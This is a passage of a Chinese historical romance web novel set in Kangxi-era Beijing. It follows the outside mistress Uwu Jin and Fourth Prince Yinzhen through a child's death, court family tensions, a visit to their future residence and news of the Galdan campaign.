“是富贵命就好,总之要好好照顾自己,别让额娘担心。”
乌锦笑着点头,她让她额娘留下来跟她一起睡,她们好久没有睡在一块了。
夜里,母女两睡在一张床上。
乌锦也没有那么快就进贝勒府,贝勒府还没建好呢,她这些日子因为彩玉的亲事才频繁往家里跑,还有就是四阿哥这阵子不常来。
到了端午前一天,乌锦跟谢嬷嬷她们在宅子里亲手包粽子,包粽子的时候,半个月没见的四阿哥出现了。
她们三人赶忙起来行礼。
胤禛扫一眼膳桌上包好的粽子,目光移落到乌锦脸上,她脸上沾了一粒米。
谢嬷嬷她们很有眼色,忙着把桌上的东西收拾收拾,又去打水给乌锦洗手净脸。
乌锦往干净的毛巾上擦干手朝四阿哥走过去,问道:“爷最近在忙什么?”
“宫里事多。”
其实是弘晖跟弘盼都生病了,两个孩子都小,他挂心两个孩子,才一直没有出宫,两个孩子好转了,他才想着出宫看她。
“你倒是清闲,还有心思包粽子。”
“明日就是端午节了,想包几个粽子吃,主子爷贵人事多,我比不上主子爷,自然就清闲许多。”
“你那些粽子可有打算送给我?”
乌锦眼珠子转了转,肯定道:“当然,我本来就惦记着主子爷。”
胤禛瞧她那样就知道她压根没想着他,他把她扯到怀里,骂一句没良心后堵住她的嘴。
乌锦已经习惯他过来先做这事,她整个人瘫在他怀里,到后面直接被吃干抹净。
事后,两人都躺在床上,胤禛问她这半个月都做了什么,她说了给彩玉说亲,筹备彩玉的婚事。
“彩玉是你的丫鬟?”
“不是,我的妹妹。”
她哪来的姐妹,她只有两个弟弟,胤禛也懒得拆穿她,知道这个彩玉是她的丫鬟,他还以为她会想把她的丫鬟带进府里呢。
“跟哪家说亲?”
乌锦便提了李兴亮的名字,说是李夫人的堂侄。
胤禛对这人没什么印象,他也只是随口一问,并不是真的关心她的丫鬟嫁给谁。
“皇上御驾回京了吗?”乌锦想起这事,这御驾出征也有两个月了,前方战况如何,她一无所知,她记得没错的话,史上皇上第三次御驾亲征,那噶尔丹众叛亲离,最后是自杀,彻底结束了这场跟噶尔丹的战役。
“还没有,少说也要三五个月。”
“那前方战况如何?”
胤禛看着乌锦,她一个女子也会想知道这些?不过打战一向是两败俱伤,没有例外,不过是哪方死伤人数少的问题,皇阿玛是不除噶尔丹不甘心,噶尔丹太过好战,频频滋扰大清安危,前两次都没能如愿铲除噶尔丹的势力,不知这次能否如愿。
前方有战报传回京城,听说是几次作战告捷,但依旧没有抓到噶尔丹。
“还在打,皇阿玛一时半会还不会回京,不过应该快了。”
胤禛在户部当差,晓得这次出征要耗费的银两,每次出征都会耗费大量钱财跟人力,户部那边存银没剩多少了,他觉得这建府的银两真的拨下来也不会太多,还得他们自己往里面贴补银子。
他是不想再住在宫里,只想赶快把府邸建好,所以贴补就贴补了,不然他得等到何年何月才能搬出皇宫。
“等我把府邸院落图画好后,我拿来给你看看。”
乌锦侧身,单手枕着脑袋面对着他,拿来给她看的意思是她还可以挑院子嘛,她记得她跟他说自己要一个独院来着。
“你想种什么树?”
四阿哥这脑子跳跃的,她都快接不上来了,树的话,果树会好一些,能结果,她可以摘果实,她问道:“主子爷觉得什么果树好一些?石榴树、桃树还是荔枝树?什么果树容易结果实?”
“桃树吧,你不是小名叫桃子嘛,为何你家人给你取名叫桃子?”
“是因为我出生的时候我家院子的桃树正在开花,爷怎么知道我小名的?”
胤禛也想不起来自己怎么会知道她的小名,反正就是知道,桃子这个名字还挺衬她的,他垂眸看她,觉得此时的她就很像一颗桃子,可以任他揉捏。
“爷,你干什么?”乌锦拍开他作乱的手。
“我觉得这里就挺像桃子的。”
乌锦翻个白眼,抓住他的手咬一口。
胤禛也忍不住笑出声,另一只手把她搂到怀里让她贴着他,笑道:“把你养得白白胖胖的就更像桃子了。”
“主子爷,我看你像个窝瓜,没人要的窝瓜,丑死了。”
胤禛也不介意乌锦骂他,再狠的话他都听过,他就顺着问她为什么叫乌锦。
“爷知道乌锦是什么吗?”
“是什么?”
“乌锦是用天然蚕丝织成的上等料子,织造过程十分繁复,别人说是寸锦寸金,十分金贵,想买都买不到,我阿玛他们觉得我是最金贵的,将来有着锦绣前程,所以给我取名为乌锦。”
胤禛肯定地点头:“那这个名字还是给你带来好运,让你碰到我,你的前程挺好的。”
乌锦心想当他的小妾就是好前程嘛,她明明是倒霉才遇到他,不过想到这人会登基成皇帝,她至少可以当个嫔妃,其实也没说错,前提是自己能活到他登基那一天。
“你要是乖乖听话,前程就更好了。”
“我是什么样的人,主子爷又不是不知道。”
胤禛心想她要是乖乖听话就不会是乌锦了,她的性子硬得很,报复心也重,好在他有的是时间慢慢驯服她。
“跟着我,我会给你
荣华富贵的。”
“爷,我想要的不是荣华富贵。”
“那你想要什么?”
乌锦想了想,说了两个字——-偏爱,既然她逃不掉,她希望自己能够有他的偏爱,在他的后院里日子能过得舒服一些,毕竟在地位上,她可能比不过他的福晋。
历史上弘历又是钮祜禄氏所生,他后院还会有一个年氏,年羹尧的妹妹,反正是没听说过什么乌氏,她在他的后院,家世排不上号,儿子也不是她生的,想要过得好真的只有倚仗他的偏爱。
胤禛拧眉,她要的不是他的爱,而是偏爱,一字之差就差得太多了,所以他说他对她有情意,她也没有真的放在心上,她想要他偏爱于她,只是想过好日子,而不是想要他的真心。
“那要看你怎么做了。”
“怎么做?这样做行不行?”乌锦翻身跨坐在他身上。
“一次不够。”
乌锦又下来,躺在床上,懒洋洋道:“那算了,反正一次不够,等下次再来吧。”
胤禛拍她的屁股:“你就这么容易放弃?我的偏爱就那么容易得到吗?你就想一次解决?”
“我是不能全信主子爷,主子爷言而无信的次数太多了,不能尽信。”
胤禛被气笑,他到底哪里欺骗她了,哪里言而无信了?他应允她的事哪一次没有做到,言而无信的人是她才是,她总是说谎骗他,算了,不跟她计较这些,免得自己被气死。
他把人抓过来到他身上趴着,他扣住她的腰又来一次。
过后,谢嬷嬷把粽子煮好,两人各吃一个粽子。
到了申时,胤禛才启程回宫,刚回宫就听说弘盼病情又反复,吐血了,弘盼才刚过周岁,一岁大的孩子就吐血,怕是不行了。
他急匆匆过去弘盼的房间,有两个太医已经在给弘盼把脉,李氏跟福晋都在,李氏哭得眼睛都快睁不开。
“怎么样?”
两个太医面有难色。
胤禛直接道:“有什么话直接说,别吞吞吐吐,小阿哥究竟怎么样?”
两个太医直接跪地,说弘盼出气比进气多,怕是时日不多。
胤禛脸色一沉,他的孩子夭折得多,宋氏夭折过两个,李氏先前要夭折过一个,如今又要夭折一个,弘盼的名字还是皇阿玛在出征前才给取的。
李氏一听这话,更是放声大哭,哭喊着我的孩子四个字。
胤禛还是让太医尽力医治,还让人去把太医院最好的小儿方科太医请过来。
房间内很快来了不少人,太医给弘盼针灸,弘盼连奶都喝不进去,因为这些日子生病,一岁的孩子瘦得很,仿佛一巴掌就能覆盖住。
到这个时候,太医还是给开了药方,有些药是小孩子不适合吃的,但这个时候只管药效,想尽力一搏。
胤禛连着三日没出宫,一直守在弘盼身边,怕刚刚好转的弘晖过上病气,将伺候两个小阿哥的奴才全部分开,这几日不得有任何接触,福晋因为过来看弘盼,这三日也没有过去看弘晖。
五月九日,撑了三日的弘盼还是撑不下去,一岁的孩子没有什么抵抗力,到后面什么都吃不进去,还是没了。
李氏哭到昏厥,胤禛让福晋照看李氏,他让人给弘盼办了丧事,请了大师给弘盼超度。
太子他们也过来慰问他一两句,宫里的孩子夭折得多,大家已经习以为常,宫里人常说孩子生下来养得活才是最重要的,而不是生下来。
胤禛自己也只是难过几日而已,他自己都有点麻木了,要说跟孩子有很浓厚的感情,其实是没有的,毕竟弘盼才一岁而已,连话都不会说。
不过李氏难过得久一些,他有空的时候去安慰李氏了,吩咐福晋多多宽慰李氏。
再过十几日,皇阿玛那边传信,说是五月底将启程回京,噶尔丹已自尽,此战告捷。
十四过来找他时,他正在书房处理户部的折子。
“四哥,我听太子哥哥说皇阿玛要回来了。”
“嗯。”
十四叹口气:“皇阿玛要回来肯定会问我功课,可是我这两个月没怎么背书。”
胤禛看向十四,皇阿玛不在,这小子就更加肆无忌惮了,三天打鱼两天晒网,上书房那些大臣也不敢过多指责皇子,对十四的散漫睁一只眼闭一只眼,他说道:“皇阿玛还有十几天才能回来,你在十几天努力背书,也能回答上皇阿玛的问题。”
十四瘫坐在书房另一张椅子上:“背书好难,我不想背,算了,皇阿玛要是抽查我的功课,我就直接让他罚吧。”
胤禛见他打定主意,也不再劝他,反正皇阿玛对他也宽容,不会罚得很狠,尤其是这次噶尔丹自尽,皇阿玛的心头大患已经解决,就更不会狠罚他了。
上次皇阿玛御驾出征,原本能擒住噶尔丹的,结果让噶尔丹逃脱,清兵又损失不少,皇阿玛才会震怒,回来后将一大批人通通都被狠狠责罚,连裕亲王都没有放过,不少人因此被贬官。
要是换成上一次,十四这种态度肯定是吃不了兜着走,被皇阿玛狠斥一顿的,这回就说不准了。
“你又不背书,也不练字,你每日在上书房学什么?”
“我去学射箭,我喜欢骑马射箭,我不爱读书。”
“那你适合当个武官。”
十四呵呵笑着说他适合当个大将军,以后说不定是他率兵打战。
胤禛觉得十一岁的十四说这话是童言无忌,他才十一岁,哪里懂率兵打战的事,他让十四留下来跟他一起用膳。
“我就是来四哥这讨吃的。”
胤禛让人摆膳,兄弟两坐在一块用膳。
第66章第66章更新
第66章
只过两日,德妃生病。
胤禛过去永和宫探望德妃,正好十四也在,他问德妃身子感觉如何,太医怎么说。
德妃说是以前的老毛病——-咳疾,临近换季,她嗓子总是不大舒服,再过一段日子就会好转,让他别担心。
“是啊,四哥,你别担心,有我在呢,我会亲自照顾额娘。”十四拍拍胸脯保证道。
德妃轻笑,亲昵宠爱地摸了摸十四的脸,“你这孩子,你自己能照顾好自己就已经是万幸了,你阿玛快回来了,你背不出功课,你就等着你阿玛罚你吧。”
“额娘,我刚刚还给你喂药来着,谁说我不能照顾人。”
“是是是,你可会照顾人啦,额娘有你照顾,肯定会尽快好起来。”
胤禛看着十四跟德妃互动,不管是十四对德妃,还是德妃对十四,两人都十分自然熟稔,挨着坐在一块,反倒把自己衬得跟外人一样尴尬杵在那。
十四是从小养在德妃膝下,记在德妃名下的孩子,跟他不一样,他们母子两就是很亲近。
许是德妃也注意到他还在,慢慢收起笑脸,对着他说道:“弘盼那孩子可惜了,不过孩子本就不易养活,你也别难过,只是你如今只有弘晖跟大格格两个孩子,子嗣太少,胤佑都有三个孩子了,你不能太随着自己的性子,她们的责任本就是为你绵延子嗣,你不能放着后院那些女人不管。”
胤禛知道德妃是在暗暗说他养外室这事,他淡淡地说了一句他知道了,他也不想继续看十四跟德妃母子情深的画面,说他还有事先走了。
德妃示意他可以离开,他便带着人离开永和宫,过一会儿,十四追上他。
“四哥,趁着皇阿玛还没回京,要不你带我出宫玩吧,我们去骑马怎么样,叫上太子哥哥跟五哥他们。”
“你先跟二哥说一声吧,看二哥有没有空。”
他们这群兄弟中若是有太子,那必定是太子说了算,皇阿玛是君,太子是半君,他们算是臣,大多数时候都得听太子的话,不过太子有很多公务要处理,未必有空。
“我去跟太子哥哥说。”
十四又很快跑开,他正是爱玩好动的年纪,胤禛也习惯十四跳脱的性子,他想着自己有十几天
没出宫,于是又带着人出宫。
乌锦正跟她额娘她们列彩玉嫁妆的单子,看缺什么得尽快备好,因为李兴亮算是二婚,两家订亲后不会像初婚那样等个一两年才成亲,三个月后,彩玉就要成亲了。
四阿哥过来时,她们都还在热烈商讨,还是小娘先见到四阿哥,乌锦的袖子就被扯了扯,她抬头见到已经进屋的四阿哥,忙示意额娘她们给四阿哥行礼。
完颜氏是第一次见到四阿哥,先前只是瞧见个背影,她们这种普通百姓若不是女儿跟四阿哥有关系,恐怕一辈子都不会跟皇子面碰面。
她慌慌忙忙地下炕,拉着连秀直接双膝跪地,很是紧张地行礼:“奴才完颜氏给四阿哥请安,四阿哥万福。”
完颜氏见自家女儿只是虚虚地福身,行礼都行得不够端正,还以为四阿哥要生气,没想到四阿哥只是让她们平身,没有追究女儿行礼时的敷衍。
乌锦看她额娘她们吓得脸色微微发白,不知所措,便说道:“额娘,你们先回去吧,我们以后再说。”
完颜氏见女儿给她使眼色,她偷瞥了一眼四阿哥,觉得四阿哥长相端正,年纪也不大,跟女儿年纪相仿,若是没有先前那些事,四阿哥其实是上等佳婿,绝对配得上女儿。
她也不敢过多停留,拉着连秀离开,离开时心想着四阿哥似乎待桃子不差,不然桃子也不会那么松散,自家女儿的性子她也是知道的,在外人面前,她很是恭谨的,不会不敬。
她总担心女儿在四阿哥这吃苦受虐,可今日这一幕让她稍微放心一些。
乌锦来不及将炕几上的东西收起来,见四阿哥拿起来她列写的嫁妆清单粗看一眼,然后说她写的字难看,她把清单从他手上抽走,说道:“爷,你又不是第一天知道我写的字不好看。”
胤禛笑了笑,他坐在方才乌锦坐的位置,今儿倒是不想做那事,他问乌锦会不会下棋。
“我棋艺不精,只跟阿玛下过。”
“没事,陪我下一盘吧。”
乌锦去拿棋,好在当初谢嬷嬷给这座宅子置办的时候,什么都置办齐全了,她在炕桌上摆好棋盘,她也不管四阿哥,她自己先执白子下第一步,还让四阿哥记得让她。
“这还没开始,你就让我让你,对自己的棋艺未免太不自信了。”
“我是有自知之明,爷的棋艺肯定很好,你不让着我,这盘棋就没法下了。”
胤禛无奈地摇头,她这是拍马屁还是拍马屁呢,他拿着黑子随便放下,刚开始,他下得比较随意,想着她棋艺不精,应该很快能结束一盘棋。
但没想到下着下着变成他被乌锦围堵了,她还是有两下子的,并非是真的棋艺不精,他也不由变得认真起来。
过了半个时辰后,他不想认输,但只能认输,他的黑子被乌锦吃得差不多了。
“哈哈哈,我赢了,爷,你是我的手下败将。”
胤禛瞧着乌锦得意炫耀的模样,他有些恼,竟然轻信乌锦的话,每回都被她骗了,他忍不住道:“来,下第二盘。”
“我累了,我不想下了,我好困,我先睡个午觉。”乌锦见好就收,不跟他纠缠,她准备下炕,手被抓住,又被扯回去。
“你真是嘴里没一句话实话。”
“是爷让我,我才能赢的,不是我棋艺多好,好啦,别生气,你生气的话我就认为你恼羞成怒,我觉得你肯定是大气的男人,不会输不起的。”
胤禛曲指敲她额头一下,本来没想做那事的,只是人在他怀里,她还故意扭动,那就由不得他了,他低头吻她,最后还是来了一次。
……
十四不知怎么说服太子,太子说趁着皇阿玛还没回来,他们兄弟几个一起去城外骑马,除了跟着皇阿玛出征的老大跟老三,还有年纪小的十五十六十七,基本上都过去城外骑马。
单纯骑马没有意思,他们开始比赛。
胤禛因为上一次乌锦骑太快而从马背上摔下来,他没有拼尽全力去挥鞭,皇阿玛不在,他对输赢没那么看重,只看着十四他们越跑越快,他不是最后一个到的,在他后面还有十二跟十三。
“四弟,你太慢了,不知道的还以为你是在走路呢。”太子笑道。
“二哥,你知道我不擅长骑马的。”
“你连十四都比不过,这骑马的水平还是落后了,你得多骑,我们大清的皇子怎么能不擅长骑马,我们可是马背上的民族。”
胤禛没有反驳太子的话,只说他回去多练。
“太子哥哥,四哥,我们再骑一圈吧,我还没过瘾呢。”十四嚷嚷道。
“走,我们再骑一圈。”
太子一句话,他们其他人奉陪,又跟着骑一圈,骑够了之后,他们一行人转去内城的酒楼喝酒。
太子今日看起来很高兴,说他们兄弟难得聚在一块喝酒,一直让他们喝个痛快,不醉不归。
胤禛收着喝,没有喝太多,除了太子,这一群兄弟中就属他年纪最大,他想着照顾底下几个弟弟,不能全部人都喝醉,万一出什么事总得有个主事的人。
他让胤禵也别喝太多,胤禵反而无所谓地挥挥手:“四哥,没事,我想喝个痛快,四哥就别管我了。”
胤禵开始喝起来,他知道胤禵偶尔会喝酒,酒量还行,他就没有管他,过了一会儿,他见到性子内敛的十三被太子灌酒,十三不想扫太子的兴,只能硬喝,但十三毕竟年纪还小,比十四大一岁而已,才十二岁,他平日是不喝酒的,一时喝不了那么多,喝着喝着就看起来很为难很不适,他只好替十三挡了挡:“二哥,我陪你喝吧,十三喝不了了。”
“老四,平日里你最假正经,你今晚必须不醉不归,你得陪我。”
太子改揽着他的肩膀,胤禛附和道:“好,我陪你,我陪二哥喝。”
“老四,你知道你做什么事是我最意想不到吗?”
胤禛觉得太子喝得有点多了,开始变话唠了,不过喝多后的太子反而没有平日那么高高在上,喜欢指使人的感觉,他觉得这个时候的太子才像是他的哥哥,他顺着问是什么。
“我没想到你平日里看起来不近女色,跟老大那花花性子不同,竟然也会养外室,还养一个那么丑的,你的眼光太差了,真是太差了。”
胤禛听着觉得有点不舒服,他是真的没觉得乌锦丑,看久后会觉得很顺眼,不过太子跟乌锦只有一面之缘而已,觉得乌锦丑也属正常。
“那外室,你打算养多久?”
“二哥,你就别管我了,我的事我会自己做主的。”
“你要是缺女人,我可以送几个给你,把那个丑的弃了。”
胤禛觉得太子喝多了,他眼神都变得迷离,他敷衍地说他知道了,敬太子一杯,太子喝着喝着就没有继续说这事。
过了好一会儿,胤禛尚且清醒,十三也清醒,最后是他们两跟伺候的奴才一起把那些喝醉的人送回宫里。
胤禛回到阿哥所后先喝了一碗醒酒汤,后直接躺下去入睡,翌日,他突然被叫醒。
“主子爷,德妃娘娘找你,让你过去永和宫一趟。”
胤禛昨天也是有喝酒的,突然被叫醒的他脑袋晕
沉得厉害,他脸色阴沉,问是什么事。
“奴才也不知道,只说让主子爷现在过去一趟。”因为德妃娘娘那边催得急,苏培盛只能硬着头皮把四阿哥叫醒,他知道四阿哥要是睡不够,今日一天的心情都会很不好。
百善孝为先,德妃虽与他不亲近,但毕竟是他的生母,胤禛再不适也撑着身子起来,简单漱口后换一身衣服便过去永和宫。
“给额娘请安。”
“胤禛,你实在太令本宫失望了,胤禵才多大,你怎么能让他喝酒,你身为哥哥,你是不是想害死你弟弟,你知不知道昨晚胤禵吐得多厉害,整个人都昏过去,你怎么能看着他喝那么多酒。”
胤禛没想到德妃没让他平身就先劈头盖脸地将他骂一顿,他还以为德妃叫他过来是因为她病情加重之类的,没想到是为了胤禵喝多的事,他只觉得脑子更疼了。
酒是胤禵要喝的,他并非没有劝过,他跟胤禵一起喝酒,若是他喝多了,德妃会指责胤禵吗?还是因为是胤禵喝多了,她才会指责他,换成是他,德妃就不在乎,平日里他就知道德妃比较偏心十四,他已经不大在乎这种偏心,只是一早被叫醒,被莫名指责痛骂的他还是有些愤怒。
只是胤禛知道自己不能表现出来,孝字压在头顶,他语气平静道:“是我不好,我应该拦着十四弟,十四弟好些了吗?”
“你说呢,今天早上还吐了一回,胤禛,胤禵是你的亲弟弟,你该把他照顾好,而不是他喝得不省人事。”
“下次不会了,请额娘放心,十四弟现在在哪,我过去看看他。”
“还能在哪,不用你过去了,他这会又昏过去了,下次你不要随便带你弟弟出宫。”
胤禛说了一句知道了,他说没有其它事,他就先回去了。
从永和宫走出来的胤禛立即沉脸,没有方才面对德妃时的平和,他还是过去十四住的东四所,看一眼十四如何,十四的确在昏睡,伺候的奴才为十四请过太医瞧过了,吐了几次后已经没有大碍,看完十四后,他才回西三所。
他没睡够,又躺回去想补觉,只是人已经睡不着了,肚子空空,但什么也吃不下,心情烦躁的他还是选择出宫。
胤禛没有去找乌锦,而是过去章佳氏那里。
……
虽说章佳氏跟乌锦同为四阿哥的外室,又住得比较近,但乌锦平日里很少见到章佳氏,因为她自己没有什么心思去关注章佳氏,先前铺子的部分绣活还是会交到她手上,她忙着刺绣,如今她已经不接绣活了,又忙彩玉的婚事,属于没空理会旁人。
当她再见到章佳氏时,章佳氏反而没有初次见她时那种得意张扬的感觉,她身边也有一个嬷嬷伺候,她只是朝章佳氏微微颔首,算是打过招呼了,她又继续往前走。
“章佳姑娘,该进去了。”
章佳.颂心是出去看诊,前几日四阿哥在她身上弄的伤一直没好,甚至还恶化了,她顾不得什么,去找了一个女大夫给她看伤。
回来的时候碰到乌锦,她看乌锦神采奕奕的样子,不由地在想,同为四阿哥的外室,四阿哥这样对她,会不会也会这样对乌锦。
她以为自己当上四阿哥的外室是好事,但经过几次后,她反而有点害怕四阿哥了,开始害怕自己会死在四阿哥手里,她完全没想到四阿哥是这样的人。
章佳氏拉了拉袖子,遮住自己身上的痕迹,听嬷嬷的话进去宅子里面。
……
六月二日,圣上班师回朝,因这次是胜战,消息传回京城时,不少百姓自发前去恭迎圣驾回銮,这一日京城的街道堵得厉害。
乌锦这一日没有出门,老老实实呆在宅子里,不过外面的动静很大,有鞭炮声传来,听着很热闹。
到了傍晚,外面才安静下来。
不过没过几日,乌锦再出门时就见到有几户人家门口挂着白布,一打听才知道那几户人家是有家人战死沙场,没能平安回来。
他们连哭丧都不能,只能挂上白布,喜与悲同时存在。
乌锦也有些感伤,若是她阿玛跟小舅随驾出征,那挂白布的可能是乌家,在前几日的热闹欢喜中,有多少人家又在默默舔舐家人没能平安归来的伤口。
兴,百姓苦,亡,百姓苦,亘古不变的真理。
乌锦回躺家,发现隔壁郑家也挂上白布,她问她额娘才知道郑大伯也是此次丧命的佐领之一,直到大队回京,这个噩耗才传到郑家,尸骨自然带不回来,听说只是带回一些信物。
“你阿玛若是跟去,那你阿玛有可能也跟郑佐领一样,幸亏你找四阿哥帮忙,你大婶他们哭了几日,可怜的,我们家只能给他们送些治丧的银子,其它的也帮不上什么忙。”
她额娘说着说着就红了眼眶,乌锦没想到会有自己认识的人丧生,这会就更加难过了。
过后乌锦得知各旗给此次战死沙场的清兵每家五两银子丧银,仅有五两,听说朝廷那边的库银所剩不多,各旗还要给朝廷上供银两,哪哪都缺钱。
乌锦拿出二十两让她额娘转交给大婶一家。
日子还是照样过,眨眼间来到七月初,彩玉的嫁妆已经备好,乌锦怕彩玉年纪小不懂管家,李兴亮又有两岁的儿子,她又是当后妈,她每日都跟彩玉说了很多话,教她怎么管家,怎么跟别人相处,既然李兴亮的儿子是养在他额娘膝下,彩玉也不需要多做什么,大家和睦相处是最好。
彩玉也不知有没有听进去,如今的铺子基本上是小娘看着,偶尔大舅的女儿,她的表妹过来帮忙,彩玉等着嫁人。
乌锦也等着入四阿哥的后院,她问了谢嬷嬷跟瓜嬷嬷有没有意愿随她一起入四阿哥的后院,两人都有点为难,她知道谢嬷嬷两人年纪毕竟大了,她们这个年纪应该跟她们的孩子孙辈在一起享天伦之乐,尤其是谢嬷嬷本来就是从宫里出来的,估计不想再入后院卷入一些纷争中。
乌锦不会强人所难,想着等她入四阿哥的后院,她们就不用继续伺候她,可以归家,四阿哥若是不同意,她也会尽量说服四阿哥。
又是一年夏季,外面蝉声阵阵。
乌锦这里的冰块不少,屋内凉快,炕几上摆着赵师傅送来的荔枝,说是四阿哥给她的,她连吃几天,嘴里长水泡了才不敢再吃,有一部分已经被她拿回家,乌安跟乌明两个人很喜欢吃。
她难得清闲,坐在铺炕上看书。
谢嬷嬷端了一碗冰镇百合莲子羹进来。
“乌姑娘,喝一碗莲子羹吧,能祛暑,这荔枝你不能再吃了,小心上火。”
“谢嬷嬷,我知道了,我保证不会再吃。”
谢嬷嬷笑道:“我也是为乌姑娘好。”
乌锦点头道:“我当然知道谢嬷嬷是为我好,谢嬷嬷一直都待我很好,我一直都记着,以后要是没有谢嬷嬷,谁给我煮莲子羹。”
谢嬷嬷看向乌锦,她知道可能再过几个月,乌姑娘就会进四阿哥的后院成真正的主子,这三年,乌姑娘从未为难过她们,若不是她年纪大了,怕以后伺候不动乌姑娘,她其实是愿意一直跟在乌姑娘身边,这奴才遇到好主子是很难得的事,她以前在宫里见过主子们怎么对待奴才,轻则骂动则打,部分主子不把奴才当人看的,乌姑娘是她见过性子最好的主子,也怪不得四阿哥会让乌姑娘成为真正的主子,这样性子的人就该有好的造化。
“乌姑娘,以后想伺候你的人肯定多的是,那些人遇到乌姑娘这样的好主子,会做梦都笑醒的。”
以四阿哥对乌姑娘的喜欢,乌姑娘真入了四阿哥的后院,肯定有不少奴才抢着到乌姑娘那伺候,一碗莲子羹而已,往后乌姑娘想吃什么山珍海味估计都有人让乌姑娘吃到。
“他们是他们,我知道谢嬷嬷待我最好。”
谢嬷嬷笑得很开心,她想起一事,又说道:“乌姑娘
,再过几日你的月信可能就要来了,到时候这些冰块暂时要撤出去,省得你肚子着凉。”
乌锦发现自己的月信这半年又恢复正常了,来得很准,不会像之前那样来得很不准时,又很凌乱,出血不止。
“没关系,我更受不了热,不用撤出去,等月信来了再说。”
谢嬷嬷还想说什么时又忍下。
乌锦跟谢嬷嬷说话时,半碗莲子羹已经没了,冰冰凉凉的一下肚就觉得畅快不少。
“还有,我再给乌姑娘盛一碗。”
“也好,我吃两碗就不用吃午膳了。”
谢嬷嬷又出去。
乌锦一勺一勺吃着莲子羹时,再听到脚步声以为是谢嬷嬷回来了,直到人坐在她面前,她才发现不是谢嬷嬷,这人走路怎么总是悄无声息的,要不是她胆大,说不定被她的魂都被吓走。
第67章第67章更新
第67章
“爷,你别总是走路没声。”
“你一副心虚的样子,难不成在背后说我坏话了?”
乌锦又不傻,谢嬷嬷她们对她再好,那也是四阿哥的人,四阿哥是她们的主子,她又怎会对谢嬷嬷她们说他的坏话,她无奈道:“我哪里心虚,你别睁眼说瞎话。”
谢嬷嬷正好端着莲子羹进来,乌锦就把那碗莲子羹让给四阿哥。
胤禛坐下来喝莲子羹,天热,外面跟个蒸笼似的,冰冰凉凉的莲子羹正好能解一些热气,他见乌锦闲着,让她给他扇风。
乌锦不情不愿地拿起圆扇给他扇风。
“等会带你去一个地方。”
乌锦挑眉,顺着问道:“什么地方?骑马的话,我暂时还不敢,上回的脚伤虽然好了,但我仍有阴影。”
胤禛抬头笑着看她,他还以为她天不怕地不怕,胆子大得很,原来上次从马背上摔下来还是让她留下阴影了,至少不敢再这么莽撞地骑马。
“放心,不带你骑马。”
乌锦就没有往下问,反正去了就知道了,他总不至于把她卖了。
半个时辰后,乌锦跟四阿哥来到城东太深街的一处宅子前,这里离皇宫很近,应该是四贝勒府,只看大门就觉得里面肯定十分宽敞,她跟四阿哥走进去,里头其实还没完全建好。
“这就是贝勒府吗?”
胤禛点头,他盯工也盯了几个月,虽然还需要大半年才能完全建好,但他已经迫不及待想带她过来看看,院落的布局是他一手规划的,他十分清楚哪里是前院后院,还有她的院子所在何处。
“过去你的院子看看。”
乌锦主动牵起四阿哥的手,跟他十指交扣。
胤禛愣了一下,侧目看她一眼,然后什么也没说,只是将她的手握得更紧。
他们慢慢走到她的院子前,如四阿哥应允的那样,这是一个独院,正房面阔五间,其中两间是耳房,左右两边是侧房,一共六间,院子目前还空空如也,只有一座水井,他说的桃树还没栽进去。
乌锦第一眼觉得这院子可能是她未来几十年生活的地方,成了真正的笼中雀,她只能换个角度想,至少她衣食无忧,人生有时候不能两全。
她露出笑脸,假装激动道:“我很喜欢,谢谢主子爷为我建的院子,往后这里种两棵桃树,这里就种两棵石榴树好了。”
胤禛笑道:“种不了那么多,院子种太多树的话夏日蚊虫多,种两棵桃树就够了,石榴树种在别处。”
乌锦撅撅嘴:“那好吧,我听主子爷的。”
“这里离前院也近,那里有一个侧门可以过去前院。”
乌锦看了看墙角处那道侧门,心想其实她也没那么想去前院,她知道前院是他住的地方,不过他都这么说了,自己也得装出十分高兴的样子,“那我是不是随时都可以过去找你?你会不会不乐意见到我?反正我不管,我有事就过去找你,你可是我这辈子最大的靠山。”
胤禛觉得她要是全心全意地倚仗他,他不介意当她一辈子的靠山,他喜欢的女人,他愿意护着。
乌锦看得差不多了,跟他说到别处看看。
两人就这样逛了许久,将这贝勒府里里外外都走了一遍。
乌锦能看出来四阿哥整个人是很兴奋的,他对搬出皇宫这件事是比较迫不及待,仿佛一刻都不想住在宫里,这府邸又是他亲自监工,连建府的银两还没下来,他就先自掏腰包建府,为的就是早点出宫,许是皇宫于他而言太过拘束,一举一动可能都有人盯着。
回到马车上时,乌锦掏出帕子给他擦擦额间的汗水,笑道:“你就那么不想住在宫里吗?”
胤禛难得认真地点头,他住的阿哥所没有这座府邸宽敞,阿哥所又是连着的,稍微有点动静就能被隔壁听到,宫里的奴才虽然是伺候他的,但也属于皇阿玛的人,只要皇阿玛问他们,他们就得说实话。
他要是出宫,肯定有人知道,几时回宫也有人知道,阿哥所不止住着他一个阿哥,远香近臭,兄弟之间住得近了,难免有摩擦。
他见乌锦主动给他擦汗,又看出他想搬出宫的迫切心情,心跳莫名跳得快一些,眼神灼热地看着乌锦,别人不懂他,但乌锦懂,她很聪明,总能猜中他的心思。
“一直盯着我看干什么?我脸上长东西了?”乌锦摸了摸自己的脸,刚说完,人就抱住,她靠在他肩头,默默回搂住他。
胤禛突然想让乌锦忘记先前种种,忘记他曾待她不好过,他们以后好好过日子,他不会再伤她,只是话到嘴边说不出来,他第一次这么喜欢一个人,怕得到拒绝。
他不知道的是乌锦自己也想开了,当初答应进他后院的时候已经想开了,日子还是得过,不如就顺着他一点,不计较先前的事,好好地过日子,一辈子其实很短的,没必要成仇人互相折磨。
静静互相搂抱一会,胤禛才松开她,神色有点不自然,说道:“你放心吧,最多半年,半年后你就可以入贝勒府。”
“嗯,我会安心等着主子爷的。”
“我……我不会辜负你的。”
乌锦笑了笑,亲了亲他薄唇:“希望主子爷说到做到。”
胤禛觉得自己的欲望一下子被挑起,他压着乌锦亲,到后面,两个人都有点喘不上来气。
天黑之前,他才回宫。
……
夏日雨水多,黄河决堤,朝中正在为这事发愁,皇阿玛把他们几兄弟叫过去,问他们有什么解决办法,每个人都问过去。
老大说发银赈灾,太子说重新疏通河道、加固堤坝,老三说开挖引流,将河水重新导入黄河中,问到他的时候,他其实也没有什么头绪,这黄河是困扰大清上百年的问题,不是他说一两句话就能解决的,胤禛只好说既然已经决堤了,只能尽量做好安抚下游百姓的工作,暂时让下游百姓先移居,免得有更多伤亡。
皇阿玛又问发银赈灾,银子从何处来。
他们都紧皱眉头。
胤禛在户部当差,更加清楚户部已经没有多少存银,几个月前的出征作战已经耗费不少存银,恐怕今年已经没有多余的银两用来赈灾。
他开口道:“皇阿玛,赈灾的银两不够的话,可以重新募集。”
